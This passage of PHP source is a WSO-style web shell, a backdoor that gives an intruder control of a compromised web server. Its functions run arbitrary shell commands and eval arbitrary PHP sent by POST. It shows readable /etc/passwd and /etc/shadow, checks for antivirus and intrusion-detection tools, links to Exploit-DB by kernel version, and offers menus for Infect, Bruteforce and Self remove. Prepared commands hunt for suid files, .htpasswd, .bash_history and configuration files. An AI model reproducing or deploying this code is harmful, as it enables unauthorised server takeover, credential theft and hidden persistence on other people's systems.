utftext;}\n\tfunction base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\td.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}\n\tfunction a(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tvar params = 'ajax=true';\n\t\tfor(i=0;i<d.mf.elements.length;i++)\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\n\t\tsr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);\n\t}\n\tfunction sr(url, params) {\n\t\tif (window.XMLHttpRequest)\n\t\t\treq = new XMLHttpRequest();\n\t\telse if (window.ActiveXObject)\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\n        if (req) {\n            req.onreadystatechange = processReqChange;\n            req.open('POST', url, true);\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\n            req.send(params);\n        }\n\t}\n\tfunction processReqChange() {\n\t\tif( (req.readyState == 4) )\n\t\t\tif(req.status == 200) {\n\t\t\t\tvar reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\n\t\t\t\tvar arr=reg.exec(req.responseText);\n\t\t\t\teval(arr[2].substr(0, arr[1]));\n\t\t\t} else alert('Request error!');\n\t}\n</script>\n<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>\n<form method=post name=mf style='display:none;'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>";
            $freeSpace = @diskfreespace($GLOBALS['cwd']);
            $totalSpace = @disk_total_space($GLOBALS['cwd']);
            $totalSpace = $totalSpace ? $totalSpace : 1;
            $release = @php_uname('r');
            $kernel = @php_uname('s');
            $explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
            if (strpos('Linux', $kernel) !== false) {
                $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
            } else {
                $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
            }
            if (!function_exists('posix_getegid')) {
                $user = @get_current_user();
                $uid = @getmyuid();
                $gid = @getmygid();
                $group = "?";
            } else {
                $uid = @posix_getpwuid(@posix_geteuid());
                $gid = @posix_getgrgid(@posix_getegid());
                $user = $uid['name'];
                $uid = $uid['uid'];
                $group = $gid['name'];
                $gid = $gid['gid'];
            }
            $cwd_links = '';
            $path = explode("/", $GLOBALS['cwd']);
            $n = count($path);
            for ($i = 0; $i < $n - 1; $i++) {
                $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
                for ($j = 0; $j <= $i; $j++) {
                    $cwd_links .= $path[$j] . '/';
                }
                $cwd_links .= "\")'>" . $path[$i] . "/</a>";
            }
            $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
            $opt_charsets = '';
            foreach ($charsets as $▟) {
                $opt_charsets .= '<option value="' . $▟ . '" ' . ($_POST['charset'] == $▟ ? 'selected' : '') . '>' . $▟ . '</option>';
            }
            $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Infect' => 'Infect', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
            if (!empty($GLOBALS['▛'])) {
                $m['Logout'] = 'Logout';
            }
            $m['Self remove'] = 'SelfRemove';
            $menu = '';
            foreach ($m as $k => $v) {
                $menu .= '<th>[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
            }
            $drives = "";
            if ($GLOBALS['os'] == 'win') {
                foreach (range('c', 'z') as $drive) {
                    if (is_dir($drive . ':\\')) {
                        $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
                    }
                }
            }
            echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="http://noreferer.de/?http://www.google.com/search?q=' . urlencode(@php_uname()) . '" target="_blank">[ Google ]</a> <a href="' . $explink . '" target=_blank>[ Exploit-DB ]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#FFDB5F><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . round(100 / ($totalSpace / $freeSpace), 2) . '%)<br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">' . $opt_charsets . '</select></label><br><span>Server IP:</span><br>' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div>';
        }
        function hardFooter()
        {
            $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#FFDB5F'>[ Writeable ]</font>" : " <font color=red>(Not writable)</font>";
            echo "\n</div>\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\n\t<tr>\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g(null,this.c.value,'');" : '') . "return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='submit'></form></td>\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value);" : '') . "return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g('FilesMan',null,'mkdir',this.d.value);" : '') . "return false;\"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value,'mkfile');" : '') . "return false;\"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\"" . (function_exists('actionConsole') ? "g('Console',null,this.c.value);" : '') . "return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>\n\t\t<td><form method='post' " . (!function_exists('actionFilesMan') ? " onsubmit=\"return false;\" " : '') . "ENCTYPE='multipart/form-data'>\n\t\t<input type=hidden name=a value='FilesMan'>\n\t\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\n\t\t<input type=hidden name=p1 value='uploadFile'>\n\t\t<input type=hidden name=ne value=''>\n\t\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\n\t\t<span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>\n\t</tr></table></div>\n\t<!-- particles --> <div id='particles-js'></div><script src='http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>\n\t<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>\n\t</body></html>";
        }
        if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
            function posix_getpwuid($p)
            {
                return false;
            }
        }
        if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
            function posix_getgrgid($p)
            {
                return false;
            }
        }
        function ex($in)
        {
            $▖ = '';
            if (function_exists('exec')) {
                @exec($in, $▖);
                $▖ = @join("\n", $▖);
            } elseif (function_exists('passthru')) {
                ob_start();
                @passthru($in);
                $▖ = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                @system($in);
                $▖ = ob_get_clean();
            } elseif (function_exists('shell_exec')) {
                $▖ = shell_exec($in);
            } elseif (is_resource($f = @popen($in, "r"))) {
                $▖ = "";
                while (!@feof($f)) {
                    $▖ .= fread($f, 1024);
                }
                pclose($f);
            } else {
                return "\xe2\x86\xb3 Unable to execute command\n";
            }
            return $▖ == '' ? "\xe2\x86\xb3 Query did not return anything\n" : $▖;
        }
        function viewSize($s)
        {
            if ($s >= 1073741824) {
                return sprintf('%1.2f', $s / 1073741824) . ' GB';
            } elseif ($s >= 1048576) {
                return sprintf('%1.2f', $s / 1048576) . ' MB';
            } elseif ($s >= 1024) {
                return sprintf('%1.2f', $s / 1024) . ' KB';
            } else {
                return $s . ' B';
            }
        }
        function perms($p)
        {
            if (($p & 0xc000) == 0xc000) {
                $i = 's';
            } elseif (($p & 0xa000) == 0xa000) {
                $i = 'l';
            } elseif (($p & 0x8000) == 0x8000) {
                $i = '-';
            } elseif (($p & 0x6000) == 0x6000) {
                $i = 'b';
            } elseif (($p & 0x4000) == 0x4000) {
                $i = 'd';
            } elseif (($p & 0x2000) == 0x2000) {
                $i = 'c';
            } elseif (($p & 0x1000) == 0x1000) {
                $i = 'p';
            } else {
                $i = 'u';
            }
            $i .= $p & 0x100 ? 'r' : '-';
            $i .= $p & 0x80 ? 'w' : '-';
            $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
            $i .= $p & 0x20 ? 'r' : '-';
            $i .= $p & 0x10 ? 'w' : '-';
            $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
            $i .= $p & 0x4 ? 'r' : '-';
            $i .= $p & 0x2 ? 'w' : '-';
            $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
            return $i;
        }
        function viewPermsColor($f)
        {
            if (!@is_readable($f)) {
                return '<font color=#FF0000><b>' . perms(@fileperms($f)) . '</b></font>';
            } elseif (!@is_writable($f)) {
                return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
            } else {
                return '<font color=#FFDB5F><b>' . perms(@fileperms($f)) . '</b></font>';
            }
        }
        function hardScandir($dir)
        {
            if (function_exists("scandir")) {
                return scandir($dir);
            } else {
                $dh = opendir($dir);
                while (false !== ($filename = readdir($dh))) {
                    $files[] = $filename;
                }
                return $files;
            }
        }
        function which($p)
        {
            $path = ex('which ' . $p);
            if (!empty($path)) {
                return $path;
            }
            return false;
        }
        function actionRC()
        {
            if (!@$_POST['p1']) {
                $a = array("uname" => php_uname(), "php_version" => phpversion(), "VERSION" => VERSION, "safemode" => @ini_get('safe_mode'));
                echo serialize($a);
            } else {
                eval($_POST['p1']);
            }
        }
        function prototype($k, $v)
        {
            $_COOKIE[$k] = $v;
            setcookie($k, $v);
        }
        function actionSecInfo()
        {
            hardHeader();
            echo "<h1>Server security information</h1><div class=content>";
            function showSecParam($n, $v)
            {
                $v = trim($v);
                if ($v) {
                    echo '<span>' . $n . ': </span>';
                    if (strpos($v, "\n") === false) {
                        echo $v . '<br>';
                    } else {
                        echo '<pre class=ml1>' . $v . '</pre>';
                    }
                }
            }
            showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
            if (function_exists('apache_get_modules')) {
                showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
            }
            showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
            showSecParam('Open base dir', @ini_get('open_basedir'));
            showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
            showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
            showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
            $temp = array();
            if (function_exists('mysql_get_client_info')) {
                $temp[] = "MySql (" . mysql_get_client_info() . ")";
            }
            if (function_exists('mssql_connect')) {
                $temp[] = "MSSQL";
            }
            if (function_exists('pg_connect')) {
                $temp[] = "PostgreSQL";
            }
            if (function_exists('oci_connect')) {
                $temp[] = "Oracle";
            }
            showSecParam('Supported databases', implode(', ', $temp));
            echo "<br>";
            if ($GLOBALS['os'] == 'nix') {
                showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
                showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
                showSecParam('OS version', @file_get_contents('/proc/version'));
                showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
                if (!$GLOBALS['safe_mode']) {
                    $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                    $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                    $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                    echo "<br>";
                    $temp = array();
                    foreach ($userful as $▟) {
                        if (which($▟)) {
                            $temp[] = $▟;
                        }
                    }
                    showSecParam('Userful', implode(', ', $temp));
                    $temp = array();
                    foreach ($danger as $▟) {
                        if (which($▟)) {
                            $temp[] = $▟;
                        }
                    }
                    showSecParam('Danger', implode(', ', $temp));
                    $temp = array();
                    foreach ($downloaders as $▟) {
                        if (which($▟)) {
                            $temp[] = $▟;
                        }
                    }
                    showSecParam('Downloaders', implode(', ', $temp));
                    echo "<br/>";
                    showSecParam('HDD space', ex('df -h'));
                    showSecParam('Hosts', @file_get_contents('/etc/hosts'));
                    showSecParam('Mount options', @file_get_contents('/etc/fstab'));
                }
            } else {
                showSecParam('OS Version', ex('ver'));
                showSecParam('Account Settings', iconv('CP866', 'UTF-8', ex('net accounts')));
                showSecParam('User Accounts', iconv('CP866', 'UTF-8', ex('net user')));
            }
            echo "</div>";
            hardFooter();
        }
        function actionFilesTools()
        {
            if (isset($_POST['p1'])) {
                $_POST['p1'] = urldecode($_POST['p1']);
            }
            if (@$_POST['p2'] == 'download') {
                if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                    ob_start("ob_gzhandler", 4096);
                    header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
                    if (function_exists("mime_content_type")) {
                        $type = @mime_content_type($_POST['p1']);
                        header("Content-Type: " . $type);
                    } else {
                        header("Content-Type: application/octet-stream");
                    }
                    $fp = @fopen($_POST['p1'], "r");
                    if ($fp) {
                        while (!@feof($fp)) {
                            echo @fread($fp, 1024);
                        }
                        fclose($fp);
                    }
                }
                exit;
            }
            if (@$_POST['p2'] == 'mkfile') {
                if (!file_exists($_POST['p1'])) {
                    $fp = @fopen($_POST['p1'], 'w');
                    if ($fp) {
                        $_POST['p2'] = "edit";
                        fclose($fp);
                    }
                }
            }
            hardHeader();
            echo "<h1>File tools</h1><div class=content>";
            if (!file_exists(@$_POST['p1'])) {
                echo "File not exists";
                hardFooter();
                return;
            }
            $uid = @posix_getpwuid(@fileowner($_POST['p1']));
            if (!$uid) {
                $uid['name'] = @fileowner($_POST['p1']);
                $gid['name'] = @filegroup($_POST['p1']);
            } else {
                $gid = @posix_getgrgid(@filegroup($_POST['p1']));
            }
            echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
            echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
            if (empty($_POST['p2'])) {
                $_POST['p2'] = 'view';
            }
            if (is_file($_POST['p1'])) {
                $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
            } else {
                $m = array('Chmod', 'Rename', 'Touch');
            }
            foreach ($m as $v) {
                echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
            }
            echo "<br><br>";
            switch ($_POST['p2']) {
                case 'view':
                    echo "<pre class=ml1>";
                    $fp = @fopen($_POST['p1'], 'r');
                    if ($fp) {
                        while (!@feof($fp)) {
                            echo htmlspecialchars(@fread($fp, 1024));
                        }
                        @fclose($fp);
                    }
                    echo "</pre>";
                    break;
                case 'highlight':
                    if (@is_readable($_POST['p1'])) {
                        echo "<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">";
                        $oRb = @highlight_file($_POST['p1'], true);
                        echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $oRb) . '</div>';
                    }
                    break;
                case 'chmod':
                    if (!empty($_POST['p3'])) {
                        $perms = 0;
                        for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                            $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                        }
                        if (!@chmod($_POST['p1'], $perms)) {
                            echo "Can't set permissions!<br><script>document.mf.p3.value=\"\";</script>";
                        }
                    }
                    clearstatcache();
                    echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value="submit"></form>';
                    break;
                case 'edit':
                    if (!is_writable($_POST['p1'])) {
                        echo "File isn't writeable";
                        break;
                    }
                    if (!empty($_POST['p3'])) {
                        $time = @filemtime($_POST['p1']);
                        $_POST['p3'] = substr($_POST['p3'], 1);
                        $fp = @fopen($_POST['p1'], "w");
                        if ($fp) {
                            @fwrite($fp, $_POST['p3']);
                            @fclose($fp);
                            echo "Saved!<br><script>p3_=\"\";</script>";
                            @touch($_POST['p1'], $time, $time);
                        }
                    }
                    echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
                    $fp = @fopen($_POST['p1'], 'r');
                    if ($fp) {
                        while (!@feof($fp)) {
                            echo htmlspecialchars(@fread($fp, 1024));
                        }
                        @fclose($fp);
                    }
                    echo "</textarea><input type=submit value=\"submit\"></form>";
                    break;
                case 'hexdump':
                    $c = @file_get_contents($_POST['p1']);
                    $n = 0;
                    $h = array('00000000<br>', '', '');
                    $len = strlen($c);
                    for ($i = 0; $i < $len; ++$i) {
                        $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                        switch (ord($c[$i])) {
                            case 0:
                                $h[2] .= ' ';
                                break;
                            case 9:
                                $h[2] .= ' ';
                                break;
                            case 10:
                                $h[2] .= ' ';
                                break;
                            case 13:
                                $h[2] .= ' ';
                                break;
                            default:
                                $h[2] .= $c[$i];
                                break;
                        }
                        $n++;
                        if ($n == 32) {
                            $n = 0;
                            if ($i + 1 < $len) {
                                $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                            }
                            $h[1] .= '<br>';
                            $h[2] .= "\n";
                        }
                    }
                    echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#060a10><pre>' . $h[1] . '</pre></td><td bgcolor=#202832><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                    break;
                case 'rename':
                    if (!empty($_POST['p3'])) {
                        if (!@rename($_POST['p1'], $_POST['p3'])) {
                            echo "Can't rename!<br>";
                        } else {
                            die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                        }
                    }
                    echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value="submit"></form>';
                    break;
                case 'touch':
                    if (!empty($_POST['p3'])) {
                        $time = strtotime($_POST['p3']);
                        if ($time) {
                            if (!touch($_POST['p1'], $time, $time)) {
                                echo "Fail!";
                            } else {
                                echo "Touched!";
                            }
                        } else {
                            echo "Bad time format!";
                        }
                    }
                    clearstatcache();
                    echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value="submit"></form>';
                    break;
                /* (С) 12.2015 mitryz */
                case 'frame':
                    $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
                    if ($frameSrc[0] != '/') {
                        $frameSrc = '/' . $frameSrc;
                    }
                    if ($frameSrc[strlen($frameSrc) - 1] != '/') {
                        $frameSrc .= '/';
                    }
                    $frameSrc .= htmlspecialchars($_POST['p1']);
                    echo '<iframe width="100%" height="900px" scrolling="no" src=' . $frameSrc . ' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
                    break;
            }
            echo "</div>";
            hardFooter();
        }
        if ($os == 'win') {
            $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
        } else {
            $aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
        }
        function actionConsole()
        {
            if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
                $_POST['p1'] .= ' 2>&1';
            } elseif (!empty($_POST['p1'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
            }
            if (isset($_POST['ajax'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                ob_start();
                echo "d.cf.cmd.value='';\n";
                $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']), "\n\r\t\\'\x00"));
                if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
                    if (@chdir($match[1])) {
                        $GLOBALS['cwd'] = @getcwd();
                        echo "c_='" . $GLOBALS['cwd'] . "';";
                    }
                }
                echo "d.cf.output.value+='" . $temp . "';";
                echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
                $temp = ob_get_clean();
                echo strlen($temp), "\n", $temp;
                exit;
            }
            if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
            }
            hardHeader();
            echo "<script>\nif(window.Event) window.captureEvents(Event.KEYDOWN);\nvar cmds = new Array('');\nvar cur = 0;\nfunction kp(e) {\n\tvar n = (window.Event) ? e.which : e.keyCode;\n\tif(n == 38) {\n\t\tcur--;\n\t\tif(cur>=0)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur++;\n\t} else if(n == 40) {\n\t\tcur++;\n\t\tif(cur < cmds.length)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur--;\n\t}\n}\nfunction add(cmd) {\n\tcmds.pop();\n\tcmds.push(cmd);\n\tcmds.push('');\n\tcur = cmds.length-1;\n}\n</script>";
